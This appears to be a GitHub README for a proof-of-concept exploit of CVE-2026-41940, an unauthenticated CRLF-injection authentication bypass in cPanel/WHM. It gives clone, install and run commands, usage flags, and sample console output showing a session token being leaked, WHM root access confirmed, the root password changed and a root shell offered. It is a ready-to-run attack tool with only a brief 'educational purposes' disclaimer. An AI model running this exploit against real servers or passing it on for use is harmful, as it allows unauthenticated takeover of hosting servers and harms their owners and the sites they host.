
Proof-of-concept exploit for CVE-2026-41940, an unauthenticated authentication bypass in cPanel/WHM using CRLF injection to leak security tokens and reset the root password.
CVE-2026-41940 is a proof-of-concept (PoC) exploit targeting cPanel/WHM.
This exploit demonstrates an unauthenticated authentication bypass using CRLF injection to leak security tokens and gain root-level access to the WHM interface, allowing for actions such as changing the root password.
Disclaimer: This PoC is for educational purposes only. Do not use on systems without permission.
cp_security_token.requests library.git clone https://github.com/Rosemary1337/CVE-2026-41940.git
cd CVE-2026-41940
pip install requests
Requirements:
requests,urllib3
python3 CVE_2026_41940.py --target <TARGET_URL> --password <NEW_PASSWORD>
python3 CVE_2026_41940.py --target https://target.com:2087 --password MyNewRootPass123!
The console shows:
[0-4][+][!][*]Example:
[0] hostname = target.local
[1] minting a preauth session...
session base = :XLNfFj4XjKuS4f9V
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
HTTP 307, leaked token = /cpsess0555762073
[3] firing do_token_denied to propagate raw -> cache...
HTTP 401, gadget fired
[4] verifying we're WHM root...
/json-api/version -> HTTP 200 {"version":"11.110.0.12"}
[*] changing the root password
passwd -> HTTP 200
[+] now just login to https://target.com:2087 and use the terminal option to get a root shell
| Flag | Description | Required | Default |
|---|
--target | WHM Target URL (e.g., https://host:2087) | Yes | - |
--password | New password for root user | Yes | - |
--hostname | Override Host: header | No | Auto |